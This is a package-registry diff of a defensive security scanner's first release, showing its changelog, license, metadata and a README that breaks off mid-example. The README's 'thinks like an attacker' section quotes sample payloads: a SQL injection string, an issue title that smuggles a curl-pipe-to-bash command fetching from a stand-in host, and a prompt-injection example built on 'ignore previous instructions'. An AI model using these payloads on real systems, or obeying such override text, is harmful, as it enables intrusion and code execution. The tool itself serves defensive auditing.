auditwright 0.1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- auditwright-0.1.0/.gitignore +21 -0
- auditwright-0.1.0/CHANGELOG.md +36 -0
- auditwright-0.1.0/LICENSE +202 -0
- auditwright-0.1.0/NOTICE +5 -0
- auditwright-0.1.0/PKG-INFO +280 -0
- auditwright-0.1.0/README.md +248 -0
- auditwright-0.1.0/SECURITY.md +30 -0
- auditwright-0.1.0/docs/assets/report-attack-paths.png +0 -0
- auditwright-0.1.0/docs/assets/report-findings.png +0 -0
- auditwright-0.1.0/docs/assets/report-mobile.png +0 -0
- auditwright-0.1.0/docs/assets/report-overview.png +0 -0
- auditwright-0.1.0/docs/ci.md +77 -0
- auditwright-0.1.0/docs/commands.md +77 -0
- auditwright-0.1.0/docs/configuration.md +48 -0
- auditwright-0.1.0/docs/faq.md +35 -0
- auditwright-0.1.0/docs/getting-started.md +55 -0
- auditwright-0.1.0/docs/how-it-works.md +64 -0
- auditwright-0.1.0/docs/netscan.md +50 -0
- auditwright-0.1.0/docs/pentest.md +43 -0
- auditwright-0.1.0/docs/reports.md +54 -0
- auditwright-0.1.0/docs/rules.md +235 -0
- auditwright-0.1.0/docs/test-generation.md +40 -0
- auditwright-0.1.0/docs/threat-model.md +31 -0
- auditwright-0.1.0/pyproject.toml +66 -0
- auditwright-0.1.0/src/auditwright/__init__.py +7 -0
- auditwright-0.1.0/src/auditwright/__main__.py +5 -0
- auditwright-0.1.0/src/auditwright/_util.py +55 -0
- auditwright-0.1.0/src/auditwright/_version.py +1 -0
- auditwright-0.1.0/src/auditwright/attack.py +224 -0
- auditwright-0.1.0/src/auditwright/cli.py +521 -0
- auditwright-0.1.0/src/auditwright/config.py +104 -0
- auditwright-0.1.0/src/auditwright/cvss.py +49 -0
- auditwright-0.1.0/src/auditwright/deps.py +532 -0
- auditwright-0.1.0/src/auditwright/engine.py +108 -0
- auditwright-0.1.0/src/auditwright/inventory.py +92 -0
- auditwright-0.1.0/src/auditwright/model.py +181 -0
- auditwright-0.1.0/src/auditwright/net.py +91 -0
- auditwright-0.1.0/src/auditwright/netscan.py +532 -0
- auditwright-0.1.0/src/auditwright/pentest.py +405 -0
- auditwright-0.1.0/src/auditwright/py.typed +0 -0
- auditwright-0.1.0/src/auditwright/report/__init__.py +1 -0
- auditwright-0.1.0/src/auditwright/report/formats.py +220 -0
- auditwright-0.1.0/src/auditwright/report/html.py +541 -0
- auditwright-0.1.0/src/auditwright/rules/__init__.py +1 -0
- auditwright-0.1.0/src/auditwright/rules/base.py +136 -0
- auditwright-0.1.0/src/auditwright/rules/crypto.py +101 -0
- auditwright-0.1.0/src/auditwright/rules/iac.py +572 -0
- auditwright-0.1.0/src/auditwright/rules/patterns.py +266 -0
- auditwright-0.1.0/src/auditwright/rules/python_ast.py +843 -0
- auditwright-0.1.0/src/auditwright/rules/unicode.py +129 -0
- auditwright-0.1.0/src/auditwright/secrets.py +216 -0
- auditwright-0.1.0/src/auditwright/testgen.py +483 -0
- auditwright-0.1.0/src/auditwright/testrun.py +257 -0
- auditwright-0.1.0/src/auditwright/walk.py +255 -0
- auditwright-0.1.0/tests/__init__.py +0 -0
- auditwright-0.1.0/tests/conftest.py +38 -0
- auditwright-0.1.0/tests/test_analyzers.py +255 -0
- auditwright-0.1.0/tests/test_attacker_view.py +91 -0
- auditwright-0.1.0/tests/test_deps.py +113 -0
- auditwright-0.1.0/tests/test_misc.py +46 -0
- auditwright-0.1.0/tests/test_netscan.py +144 -0
- auditwright-0.1.0/tests/test_python_ast.py +235 -0
- auditwright-0.1.0/tests/test_reports_cli.py +159 -0
- auditwright-0.1.0/tests/test_runners_cli.py +142 -0
- auditwright-0.1.0/tests/test_testing_and_pentest.py +151 -0
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
__pycache__/
|
|
2
|
+
*.py[cod]
|
|
3
|
+
*.egg-info/
|
|
4
|
+
build/
|
|
5
|
+
dist/
|
|
6
|
+
.venv/
|
|
7
|
+
venv/
|
|
8
|
+
.pytest_cache/
|
|
9
|
+
.ruff_cache/
|
|
10
|
+
.coverage
|
|
11
|
+
*.sarif
|
|
12
|
+
.env
|
|
13
|
+
.env.*
|
|
14
|
+
*.key
|
|
15
|
+
*.pem
|
|
16
|
+
.vscode/
|
|
17
|
+
.idea/
|
|
18
|
+
.DS_Store
|
|
19
|
+
Thumbs.db
|
|
20
|
+
auditwright-report/
|
|
21
|
+
tests/generated/
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
# Changelog
|
|
2
|
+
|
|
3
|
+
All notable changes are documented here. The format follows [Keep a Changelog](https://keepachangelog.com/en/1.1.0/)
|
|
4
|
+
and the project uses [Semantic Versioning](https://semver.org/).
|
|
5
|
+
|
|
6
|
+
## [0.1.0] - 2026-12-04
|
|
7
|
+
|
|
8
|
+
First public release.
|
|
9
|
+
|
|
10
|
+
### Added
|
|
11
|
+
|
|
12
|
+
- `scan` and `full`: static audit across code, secrets, dependencies, CI/IaC configuration, hidden
|
|
13
|
+
characters and cryptography, with 229 rules mapped to CWE and the OWASP Top 10 / OWASP LLM Top 10.
|
|
14
|
+
- The attacker's view: an exploit narrative with a concrete payload for every finding, and attack chains
|
|
15
|
+
that connect findings from entry point to impact.
|
|
16
|
+
- `netscan`: authorised network exposure scan with read-only probes for unauthenticated Redis, MongoDB,
|
|
17
|
+
Elasticsearch, CouchDB, Docker, kubelet, memcached, MQTT and rsync, anonymous FTP, Telnet, old SSH,
|
|
18
|
+
remote-administration and file-sharing ports, admin consoles and TLS; optional web pen test of every
|
|
19
|
+
web service found.
|
|
20
|
+
- Python analysis on the syntax tree with intra-procedural taint tracking for user input and LLM output,
|
|
21
|
+
sanitiser awareness and route-parameter typing.
|
|
22
|
+
- Line rules for JavaScript/TypeScript, Go, PHP, Ruby, Java/Kotlin, C# and shell.
|
|
23
|
+
- Secret detection with 29 provider detectors, an entropy-gated generic detector and safe git-history scanning.
|
|
24
|
+
- Dependency audit: 14 lockfile formats, OSV batch lookups, CVSS v3 scoring, malicious-package alerts and
|
|
25
|
+
lockfile hygiene checks.
|
|
26
|
+
- GitHub Actions, Dockerfile, docker-compose, Kubernetes, Terraform and web-server configuration rules.
|
|
27
|
+
- Trojan Source, Unicode tag-character prompt smuggling, zero-width and homoglyph detection.
|
|
28
|
+
- Post-quantum cryptography inventory and weak-crypto rules.
|
|
29
|
+
- `test`: runs pytest (with branch coverage), unittest, Jest, Vitest, `npm test`, `go test` and `cargo test`.
|
|
30
|
+
- `gen-tests`: type-driven edge-case and security tests for untested Python functions, with cross-module
|
|
31
|
+
side-effect detection so generated tests never write, delete, execute or touch the network.
|
|
32
|
+
- `pentest`: authorised, non-destructive checks of a live origin (TLS, headers, CSP, cookies, CORS, exposed
|
|
33
|
+
files, debug consoles, error disclosure, open redirects, reflection, GraphQL introspection).
|
|
34
|
+
- Reports: responsive, JavaScript-free HTML dashboard with strict CSP; SARIF 2.1.0; JUnit XML; Markdown;
|
|
35
|
+
JSON; CSV with formula-injection protection.
|
|
36
|
+
- Baselines, `auditwright.json` configuration, inline suppressions, GitHub Action, pre-commit hooks.
|
|
@@ -0,0 +1,202 @@
|
|
|
1
|
+
|
|
2
|
+
Apache License
|
|
3
|
+
Version 2.0, January 2004
|
|
4
|
+
http://www.apache.org/licenses/
|
|
5
|
+
|
|
6
|
+
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
|
7
|
+
|
|
8
|
+
1. Definitions.
|
|
9
|
+
|
|
10
|
+
"License" shall mean the terms and conditions for use, reproduction,
|
|
11
|
+
and distribution as defined by Sections 1 through 9 of this document.
|
|
12
|
+
|
|
13
|
+
"Licensor" shall mean the copyright owner or entity authorized by
|
|
14
|
+
the copyright owner that is granting the License.
|
|
15
|
+
|
|
16
|
+
"Legal Entity" shall mean the union of the acting entity and all
|
|
17
|
+
other entities that control, are controlled by, or are under common
|
|
18
|
+
control with that entity. For the purposes of this definition,
|
|
19
|
+
"control" means (i) the power, direct or indirect, to cause the
|
|
20
|
+
direction or management of such entity, whether by contract or
|
|
21
|
+
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
|
22
|
+
outstanding shares, or (iii) beneficial ownership of such entity.
|
|
23
|
+
|
|
24
|
+
"You" (or "Your") shall mean an individual or Legal Entity
|
|
25
|
+
exercising permissions granted by this License.
|
|
26
|
+
|
|
27
|
+
"Source" form shall mean the preferred form for making modifications,
|
|
28
|
+
including but not limited to software source code, documentation
|
|
29
|
+
source, and configuration files.
|
|
30
|
+
|
|
31
|
+
"Object" form shall mean any form resulting from mechanical
|
|
32
|
+
transformation or translation of a Source form, including but
|
|
33
|
+
not limited to compiled object code, generated documentation,
|
|
34
|
+
and conversions to other media types.
|
|
35
|
+
|
|
36
|
+
"Work" shall mean the work of authorship, whether in Source or
|
|
37
|
+
Object form, made available under the License, as indicated by a
|
|
38
|
+
copyright notice that is included in or attached to the work
|
|
39
|
+
(an example is provided in the Appendix below).
|
|
40
|
+
|
|
41
|
+
"Derivative Works" shall mean any work, whether in Source or Object
|
|
42
|
+
form, that is based on (or derived from) the Work and for which the
|
|
43
|
+
editorial revisions, annotations, elaborations, or other modifications
|
|
44
|
+
represent, as a whole, an original work of authorship. For the purposes
|
|
45
|
+
of this License, Derivative Works shall not include works that remain
|
|
46
|
+
separable from, or merely link (or bind by name) to the interfaces of,
|
|
47
|
+
the Work and Derivative Works thereof.
|
|
48
|
+
|
|
49
|
+
"Contribution" shall mean any work of authorship, including
|
|
50
|
+
the original version of the Work and any modifications or additions
|
|
51
|
+
to that Work or Derivative Works thereof, that is intentionally
|
|
52
|
+
submitted to Licensor for inclusion in the Work by the copyright owner
|
|
53
|
+
or by an individual or Legal Entity authorized to submit on behalf of
|
|
54
|
+
the copyright owner. For the purposes of this definition, "submitted"
|
|
55
|
+
means any form of electronic, verbal, or written communication sent
|
|
56
|
+
to the Licensor or its representatives, including but not limited to
|
|
57
|
+
communication on electronic mailing lists, source code control systems,
|
|
58
|
+
and issue tracking systems that are managed by, or on behalf of, the
|
|
59
|
+
Licensor for the purpose of discussing and improving the Work, but
|
|
60
|
+
excluding communication that is conspicuously marked or otherwise
|
|
61
|
+
designated in writing by the copyright owner as "Not a Contribution."
|
|
62
|
+
|
|
63
|
+
"Contributor" shall mean Licensor and any individual or Legal Entity
|
|
64
|
+
on behalf of whom a Contribution has been received by Licensor and
|
|
65
|
+
subsequently incorporated within the Work.
|
|
66
|
+
|
|
67
|
+
2. Grant of Copyright License. Subject to the terms and conditions of
|
|
68
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
69
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
70
|
+
copyright license to reproduce, prepare Derivative Works of,
|
|
71
|
+
publicly display, publicly perform, sublicense, and distribute the
|
|
72
|
+
Work and such Derivative Works in Source or Object form.
|
|
73
|
+
|
|
74
|
+
3. Grant of Patent License. Subject to the terms and conditions of
|
|
75
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
76
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
77
|
+
(except as stated in this section) patent license to make, have made,
|
|
78
|
+
use, offer to sell, sell, import, and otherwise transfer the Work,
|
|
79
|
+
where such license applies only to those patent claims licensable
|
|
80
|
+
by such Contributor that are necessarily infringed by their
|
|
81
|
+
Contribution(s) alone or by combination of their Contribution(s)
|
|
82
|
+
with the Work to which such Contribution(s) was submitted. If You
|
|
83
|
+
institute patent litigation against any entity (including a
|
|
84
|
+
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
|
85
|
+
or a Contribution incorporated within the Work constitutes direct
|
|
86
|
+
or contributory patent infringement, then any patent licenses
|
|
87
|
+
granted to You under this License for that Work shall terminate
|
|
88
|
+
as of the date such litigation is filed.
|
|
89
|
+
|
|
90
|
+
4. Redistribution. You may reproduce and distribute copies of the
|
|
91
|
+
Work or Derivative Works thereof in any medium, with or without
|
|
92
|
+
modifications, and in Source or Object form, provided that You
|
|
93
|
+
meet the following conditions:
|
|
94
|
+
|
|
95
|
+
(a) You must give any other recipients of the Work or
|
|
96
|
+
Derivative Works a copy of this License; and
|
|
97
|
+
|
|
98
|
+
(b) You must cause any modified files to carry prominent notices
|
|
99
|
+
stating that You changed the files; and
|
|
100
|
+
|
|
101
|
+
(c) You must retain, in the Source form of any Derivative Works
|
|
102
|
+
that You distribute, all copyright, patent, trademark, and
|
|
103
|
+
attribution notices from the Source form of the Work,
|
|
104
|
+
excluding those notices that do not pertain to any part of
|
|
105
|
+
the Derivative Works; and
|
|
106
|
+
|
|
107
|
+
(d) If the Work includes a "NOTICE" text file as part of its
|
|
108
|
+
distribution, then any Derivative Works that You distribute must
|
|
109
|
+
include a readable copy of the attribution notices contained
|
|
110
|
+
within such NOTICE file, excluding those notices that do not
|
|
111
|
+
pertain to any part of the Derivative Works, in at least one
|
|
112
|
+
of the following places: within a NOTICE text file distributed
|
|
113
|
+
as part of the Derivative Works; within the Source form or
|
|
114
|
+
documentation, if provided along with the Derivative Works; or,
|
|
115
|
+
within a display generated by the Derivative Works, if and
|
|
116
|
+
wherever such third-party notices normally appear. The contents
|
|
117
|
+
of the NOTICE file are for informational purposes only and
|
|
118
|
+
do not modify the License. You may add Your own attribution
|
|
119
|
+
notices within Derivative Works that You distribute, alongside
|
|
120
|
+
or as an addendum to the NOTICE text from the Work, provided
|
|
121
|
+
that such additional attribution notices cannot be construed
|
|
122
|
+
as modifying the License.
|
|
123
|
+
|
|
124
|
+
You may add Your own copyright statement to Your modifications and
|
|
125
|
+
may provide additional or different license terms and conditions
|
|
126
|
+
for use, reproduction, or distribution of Your modifications, or
|
|
127
|
+
for any such Derivative Works as a whole, provided Your use,
|
|
128
|
+
reproduction, and distribution of the Work otherwise complies with
|
|
129
|
+
the conditions stated in this License.
|
|
130
|
+
|
|
131
|
+
5. Submission of Contributions. Unless You explicitly state otherwise,
|
|
132
|
+
any Contribution intentionally submitted for inclusion in the Work
|
|
133
|
+
by You to the Licensor shall be under the terms and conditions of
|
|
134
|
+
this License, without any additional terms or conditions.
|
|
135
|
+
Notwithstanding the above, nothing herein shall supersede or modify
|
|
136
|
+
the terms of any separate license agreement you may have executed
|
|
137
|
+
with Licensor regarding such Contributions.
|
|
138
|
+
|
|
139
|
+
6. Trademarks. This License does not grant permission to use the trade
|
|
140
|
+
names, trademarks, service marks, or product names of the Licensor,
|
|
141
|
+
except as required for reasonable and customary use in describing the
|
|
142
|
+
origin of the Work and reproducing the content of the NOTICE file.
|
|
143
|
+
|
|
144
|
+
7. Disclaimer of Warranty. Unless required by applicable law or
|
|
145
|
+
agreed to in writing, Licensor provides the Work (and each
|
|
146
|
+
Contributor provides its Contributions) on an "AS IS" BASIS,
|
|
147
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
|
148
|
+
implied, including, without limitation, any warranties or conditions
|
|
149
|
+
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
|
150
|
+
PARTICULAR PURPOSE. You are solely responsible for determining the
|
|
151
|
+
appropriateness of using or redistributing the Work and assume any
|
|
152
|
+
risks associated with Your exercise of permissions under this License.
|
|
153
|
+
|
|
154
|
+
8. Limitation of Liability. In no event and under no legal theory,
|
|
155
|
+
whether in tort (including negligence), contract, or otherwise,
|
|
156
|
+
unless required by applicable law (such as deliberate and grossly
|
|
157
|
+
negligent acts) or agreed to in writing, shall any Contributor be
|
|
158
|
+
liable to You for damages, including any direct, indirect, special,
|
|
159
|
+
incidental, or consequential damages of any character arising as a
|
|
160
|
+
result of this License or out of the use or inability to use the
|
|
161
|
+
Work (including but not limited to damages for loss of goodwill,
|
|
162
|
+
work stoppage, computer failure or malfunction, or any and all
|
|
163
|
+
other commercial damages or losses), even if such Contributor
|
|
164
|
+
has been advised of the possibility of such damages.
|
|
165
|
+
|
|
166
|
+
9. Accepting Warranty or Additional Liability. While redistributing
|
|
167
|
+
the Work or Derivative Works thereof, You may choose to offer,
|
|
168
|
+
and charge a fee for, acceptance of support, warranty, indemnity,
|
|
169
|
+
or other liability obligations and/or rights consistent with this
|
|
170
|
+
License. However, in accepting such obligations, You may act only
|
|
171
|
+
on Your own behalf and on Your sole responsibility, not on behalf
|
|
172
|
+
of any other Contributor, and only if You agree to indemnify,
|
|
173
|
+
defend, and hold each Contributor harmless for any liability
|
|
174
|
+
incurred by, or claims asserted against, such Contributor by reason
|
|
175
|
+
of your accepting any such warranty or additional liability.
|
|
176
|
+
|
|
177
|
+
END OF TERMS AND CONDITIONS
|
|
178
|
+
|
|
179
|
+
APPENDIX: How to apply the Apache License to your work.
|
|
180
|
+
|
|
181
|
+
To apply the Apache License to your work, attach the following
|
|
182
|
+
boilerplate notice, with the fields enclosed by brackets "[]"
|
|
183
|
+
replaced with your own identifying information. (Don't include
|
|
184
|
+
the brackets!) The text should be enclosed in the appropriate
|
|
185
|
+
comment syntax for the file format. We also recommend that a
|
|
186
|
+
file or class name and description of purpose be included on the
|
|
187
|
+
same "printed page" as the copyright notice for easier
|
|
188
|
+
identification within third-party archives.
|
|
189
|
+
|
|
190
|
+
Copyright [yyyy] [name of copyright owner]
|
|
191
|
+
|
|
192
|
+
Licensed under the Apache License, Version 2.0 (the "License");
|
|
193
|
+
you may not use this file except in compliance with the License.
|
|
194
|
+
You may obtain a copy of the License at
|
|
195
|
+
|
|
196
|
+
http://www.apache.org/licenses/LICENSE-2.0
|
|
197
|
+
|
|
198
|
+
Unless required by applicable law or agreed to in writing, software
|
|
199
|
+
distributed under the License is distributed on an "AS IS" BASIS,
|
|
200
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
201
|
+
See the License for the specific language governing permissions and
|
|
202
|
+
limitations under the License.
|
auditwright-0.1.0/NOTICE
ADDED
|
@@ -0,0 +1,280 @@
|
|
|
1
|
+
Metadata-Version: 2.5
|
|
2
|
+
Name: auditwright
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Security audit that thinks like an attacker: taint-tracked code analysis, secrets (including git history), vulnerable and malicious dependencies, CI/Docker/Kubernetes/Terraform misconfigurations, AI/LLM risks, attack-path chaining, authorised web pen tests and network exposure scans, test runs and generated security tests. HTML dashboard, SARIF, JUnit, Markdown, JSON and CSV reports. Zero dependencies.
|
|
5
|
+
Project-URL: Homepage, https://github.com/shah2017/auditwright
|
|
6
|
+
Project-URL: Documentation, https://github.com/shah2017/auditwright/tree/main/docs
|
|
7
|
+
Project-URL: Issues, https://github.com/shah2017/auditwright/issues
|
|
8
|
+
Project-URL: Security, https://github.com/shah2017/auditwright/security/policy
|
|
9
|
+
Author: Prayash Bikram Shah
|
|
10
|
+
License-Expression: Apache-2.0
|
|
11
|
+
License-File: LICENSE
|
|
12
|
+
License-File: NOTICE
|
|
13
|
+
Keywords: attack-path,devsecops,llm-security,network-scanner,pentest,sarif,sast,sca,secrets,security,test-generation,vulnerability-scanner
|
|
14
|
+
Classifier: Development Status :: 4 - Beta
|
|
15
|
+
Classifier: Environment :: Console
|
|
16
|
+
Classifier: Intended Audience :: Developers
|
|
17
|
+
Classifier: Intended Audience :: Information Technology
|
|
18
|
+
Classifier: Operating System :: OS Independent
|
|
19
|
+
Classifier: Programming Language :: Python :: 3
|
|
20
|
+
Classifier: Programming Language :: Python :: 3 :: Only
|
|
21
|
+
Classifier: Topic :: Security
|
|
22
|
+
Classifier: Topic :: Software Development :: Quality Assurance
|
|
23
|
+
Classifier: Topic :: Software Development :: Testing
|
|
24
|
+
Classifier: Typing :: Typed
|
|
25
|
+
Requires-Python: >=3.11
|
|
26
|
+
Provides-Extra: dev
|
|
27
|
+
Requires-Dist: build>=1.2; extra == 'dev'
|
|
28
|
+
Requires-Dist: pip-audit>=2.7; extra == 'dev'
|
|
29
|
+
Requires-Dist: pytest>=8; extra == 'dev'
|
|
30
|
+
Requires-Dist: ruff>=0.6; extra == 'dev'
|
|
31
|
+
Description-Content-Type: text/markdown
|
|
32
|
+
|
|
33
|
+
# Auditwright
|
|
34
|
+
|
|
35
|
+
**One command. A full security audit of your project, and a report you will actually want to read.**
|
|
36
|
+
|
|
37
|
+
Auditwright looks at your software the way an attacker does. It scans code for injection flaws with
|
|
38
|
+
real taint tracking, leaked secrets (including git history), vulnerable and malicious dependencies, CI,
|
|
39
|
+
container and cloud misconfigurations, AI and LLM risks, hidden-character attacks and quantum-vulnerable
|
|
40
|
+
cryptography; it pen-tests live sites and scans your network for exposed, unauthenticated services. Then it
|
|
41
|
+
**connects the dots into attack paths** and tells you, for every finding, **how an attacker would use it**.
|
|
42
|
+
It also runs your test suites and generates new edge-case and security tests. Everything ends up in one
|
|
43
|
+
report: a dashboard-grade HTML page plus SARIF, JUnit, Markdown, JSON and CSV.
|
|
44
|
+
|
|
45
|
+
[](https://github.com/shah2017/auditwright/actions/workflows/ci.yml)
|
|
46
|
+
[](https://pypi.org/project/auditwright/)
|
|
47
|
+
[](https://scorecard.dev/viewer/?uri=github.com/shah2017/auditwright)
|
|
48
|
+

|
|
49
|
+

|
|
50
|
+

|
|
51
|
+
|
|
52
|
+

|
|
53
|
+
|
|
54
|
+
---
|
|
55
|
+
|
|
56
|
+
## Quick start
|
|
57
|
+
|
|
58
|
+
```bash
|
|
59
|
+
pip install auditwright
|
|
60
|
+
auditwright full # scan the current project, write every report format
|
|
61
|
+
open auditwright-report/auditwright.html
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
That is it. No configuration, no account, no server, and no third-party Python packages: Auditwright is
|
|
65
|
+
written entirely on the Python standard library, so it adds nothing to your supply chain.
|
|
66
|
+
|
|
67
|
+
## What it checks
|
|
68
|
+
|
|
69
|
+
| Area | What you get |
|
|
70
|
+
|---|---|
|
|
71
|
+
| **Code security** | Python analysed on its syntax tree with intra-procedural **taint tracking** from web requests, route parameters and serverless events into 30+ sinks: shell, `eval`, SQL, file paths, outbound requests (SSRF), templates (SSTI), markup (XSS), redirects, deserialisation. Rules for JavaScript/TypeScript, Go, PHP, Ruby, Java/Kotlin, C# and shell. |
|
|
72
|
+
| **AI and LLM risks** | Model output flowing into shell, `exec`, SQL, HTML, URLs or file paths; user input in system prompts; `trust_remote_code=True`; pickled model files. Mapped to the OWASP Top 10 for LLM Applications. |
|
|
73
|
+
| **Secrets** | 29 detectors (cloud, VCS, payment, messaging, LLM providers, private keys, JWTs, connection strings) plus an entropy-gated generic detector. Optional **git history** scan. Values are always redacted in reports. |
|
|
74
|
+
| **Dependencies** | Self-contained parsers for 14 lockfile formats (pip, Poetry, uv, PDM, Pipenv, npm, Yarn, pnpm, Cargo, Go, Bundler, Composer, NuGet, Gradle) checked against [OSV](https://osv.dev) in batches. Severity from CVSS, fixed versions, and a separate alert for **known malicious packages**. Lockfile hygiene: missing lockfiles, plain-HTTP downloads, mutable git dependencies, missing integrity hashes. |
|
|
75
|
+
| **CI, containers, IaC** | GitHub Actions script injection, `pull_request_target` checkouts, unpinned actions, write-all tokens, leaked secrets in logs. Dockerfiles, docker-compose, Kubernetes, Terraform, web server configs, registry tokens in `.npmrc`. |
|
|
76
|
+
| **Hidden characters** | Trojan Source bidi overrides, invisible Unicode **tag-character prompt smuggling** (decoded for you), zero-width characters, mixed-script homoglyph identifiers. |
|
|
77
|
+
| **Cryptography** | Weak ciphers, ECB, short RSA keys, static IVs, and a **post-quantum readiness inventory** of every RSA, elliptic-curve and Diffie-Hellman use. |
|
|
78
|
+
| **Tests** | Detects and runs pytest (with branch coverage), unittest, Jest, Vitest, `go test` and `cargo test`, and puts the results in the same report. |
|
|
79
|
+
| **Generated tests** | Writes pytest edge-case and security tests for untested Python functions, typed from their hints: boundary numbers, NaN, huge inputs, path traversal, injection strings, null bytes, hidden Unicode. Every call is time-boxed so hangs and ReDoS show up as failures. Functions with side effects are never called. |
|
|
80
|
+
| **Network scan** | Live hosts and open ports on networks you own; databases, caches, container and cluster APIs that answer **without authentication** (Redis, MongoDB, Elasticsearch, CouchDB, Docker, kubelet, memcached, MQTT, rsync), anonymous FTP, Telnet, old SSH, exposed RDP/VNC/SMB, admin consoles, web services without TLS. Read-only probes only. |
|
|
81
|
+
| **Live pen test** | Non-destructive checks of a site you own: TLS, HTTPS redirect, HSTS, CSP quality, clickjacking, cookies, CORS origin reflection, exposed `.git`/`.env`/backups/debug consoles, verbose errors, open redirects, reflected input, GraphQL introspection, `security.txt`. |
|
|
82
|
+
|
|
83
|
+
229 rules, each with a CWE, an OWASP mapping and a concrete fix. See [docs/rules.md](docs/rules.md).
|
|
84
|
+
|
|
85
|
+
## Thinks like an attacker
|
|
86
|
+
|
|
87
|
+
Scanners usually hand you a list of rule names. Auditwright explains impact the way an intruder sees it:
|
|
88
|
+
|
|
89
|
+
- **Every finding says how it is exploited**, with a concrete payload: *"Send `' UNION SELECT username,
|
|
90
|
+
password_hash FROM users--`"*, *"Open an issue titled `"; curl -sSfL evil.example/x | bash #`"*,
|
|
91
|
+
*"Hide `ignore previous instructions...` in a page the model reads; your code executes the reply."*
|
|
92
|
+
- **Attack paths** connect findings that are far worse together than apart, from entry point to impact:
|
|
93
|
+
prompt injection to remote code execution, SSRF to cloud credential theft, fork pull request to repository
|
|
94
|
+
takeover, leaked secret to account takeover, forged session to admin access, upload to web shell, exposed
|
|
95
|
+
services to network takeover.
|
|
96
|
+
- **Unusual attack classes** most scanners skip: mass assignment, HTTP header injection, Python format-string
|
|
97
|
+
attribute leaks, user-supplied regexes, code downloaded and executed at run time, admin routes without
|
|
98
|
+
authentication, weak JWT keys, web-shell uploads, Unicode tag-character prompt smuggling, homoglyph
|
|
99
|
+
identifiers, CI script injection and artifact poisoning.
|
|
100
|
+
|
|
101
|
+

|
|
102
|
+
|
|
103
|
+
## The report
|
|
104
|
+
|
|
105
|
+
The HTML report is a single self-contained file built like a security operations dashboard:
|
|
106
|
+
|
|
107
|
+
- a **risk grade and score**, a threat-level banner and a "fix first" list
|
|
108
|
+
- an **attack-surface** status board and **OWASP Top 10** and **OWASP LLM Top 10** heatmaps
|
|
109
|
+
- every finding with the offending line, CWE and OWASP tags, confidence and the fix
|
|
110
|
+
- dependency, cryptography (post-quantum) and test panels
|
|
111
|
+
- severity filters, light and dark themes, and a layout that works on phones, all **without JavaScript**
|
|
112
|
+
|
|
113
|
+
It is safe to open and share: a strict Content-Security-Policy allows nothing but its own stylesheet,
|
|
114
|
+
everything from the scanned code is escaped, secrets are redacted, and the report shows the project
|
|
115
|
+
name, not your local paths.
|
|
116
|
+
|
|
117
|
+
<p align="center">
|
|
118
|
+
<img src="docs/assets/report-findings.png" alt="Findings list with severity filters" width="72%">
|
|
119
|
+
<img src="docs/assets/report-mobile.png" alt="The report on a phone" width="24%">
|
|
120
|
+
</p>
|
|
121
|
+
|
|
122
|
+
| Format | File | Use it for |
|
|
123
|
+
|---|---|---|
|
|
124
|
+
| HTML | `auditwright.html` | People: the dashboard above |
|
|
125
|
+
| SARIF 2.1.0 | `auditwright.sarif` | GitHub code scanning, IDEs, other security platforms |
|
|
126
|
+
| JUnit XML | `auditwright.junit.xml` | CI test views (findings appear as failing tests) |
|
|
127
|
+
| Markdown | `auditwright.md` | Pull-request comments and job summaries |
|
|
128
|
+
| JSON | `auditwright.json` | Automation and dashboards |
|
|
129
|
+
| CSV | `auditwright.csv` | Spreadsheets (formula injection neutralised) |
|
|
130
|
+
|
|
131
|
+
## Commands
|
|
132
|
+
|
|
133
|
+
```bash
|
|
134
|
+
auditwright scan [path] # static audit, terminal output (add -f html,sarif,... for files)
|
|
135
|
+
auditwright full [path] # scan + every report format
|
|
136
|
+
auditwright full --run-tests # ...and run the project's tests (executes project code)
|
|
137
|
+
auditwright full --pentest https://staging.example.com --i-am-authorized
|
|
138
|
+
auditwright test [path] # run the test suites and report results and coverage
|
|
139
|
+
auditwright gen-tests [path] [--write] # preview or write generated edge-case tests
|
|
140
|
+
auditwright pentest https://example.com --i-am-authorized
|
|
141
|
+
auditwright netscan 192.168.1.0/24 --i-am-authorized [--web] # your own network
|
|
142
|
+
auditwright baseline # accept today's findings; later scans show only new ones
|
|
143
|
+
auditwright rules [--format md|json] # list every rule
|
|
144
|
+
auditwright init # starter auditwright.json
|
|
145
|
+
auditwright doctor # environment check
|
|
146
|
+
```
|
|
147
|
+
|
|
148
|
+
Useful options: `--history` (scan git history for secrets), `--offline` (no vulnerability lookups),
|
|
149
|
+
`--only code,secrets` / `--skip deps`, `--exclude PATH`, `--baseline FILE`, `--fail-on high`,
|
|
150
|
+
`--name "Display name"`. Exit codes: `0` clean, `1` findings at or above `--fail-on` (or failing tests),
|
|
151
|
+
`2` error. Full reference: [docs/commands.md](docs/commands.md).
|
|
152
|
+
|
|
153
|
+
## In CI
|
|
154
|
+
|
|
155
|
+
**GitHub Actions** (uploads SARIF to code scanning, attaches the HTML report, writes a job summary):
|
|
156
|
+
|
|
157
|
+
```yaml
|
|
158
|
+
permissions:
|
|
159
|
+
contents: read
|
|
160
|
+
security-events: write
|
|
161
|
+
jobs:
|
|
162
|
+
audit:
|
|
163
|
+
runs-on: ubuntu-latest
|
|
164
|
+
steps:
|
|
165
|
+
- uses: actions/checkout@v4
|
|
166
|
+
with:
|
|
167
|
+
persist-credentials: false
|
|
168
|
+
- uses: shah2017/auditwright@v0.1.0
|
|
169
|
+
with:
|
|
170
|
+
fail-on: high
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
**pre-commit:**
|
|
174
|
+
|
|
175
|
+
```yaml
|
|
176
|
+
repos:
|
|
177
|
+
- repo: https://github.com/shah2017/auditwright
|
|
178
|
+
rev: v0.1.0
|
|
179
|
